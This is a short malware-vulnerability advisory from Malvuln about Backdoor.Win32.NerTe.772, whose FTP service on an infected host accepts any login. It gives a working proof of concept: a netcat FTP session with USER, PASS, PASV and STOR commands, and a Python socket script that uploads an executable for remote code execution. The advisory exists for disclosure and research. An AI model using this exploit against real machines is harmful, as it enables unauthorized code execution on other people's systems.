Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/464d7073f884b586b17950eef2908a6e.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NerTe.772
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP ports 21, 80 and drops an executable named "scanregs.exe" under Windows dir. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 464d7073f884b586b17950eef2908a6e
Vuln ID: MVID-2021-0228
Dropped files: scanregs.exe
Disclosure: 05/28/2021

Exploit/PoC:
nc64.exe 192.168.18.127 21
220 ICS FTP Server ready.
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,127,195,83).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.127"
#195 * 256 + 83
PORT=50003
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    
    s.close()
    
    print("Backdoor.Win32.NerTe / Authentication Bypass RCE")
    print("MD5: 464d7073f884b586b17950eef2908a6e")
    print("By Malvuln");

if __name__=="__main__":
    doit()


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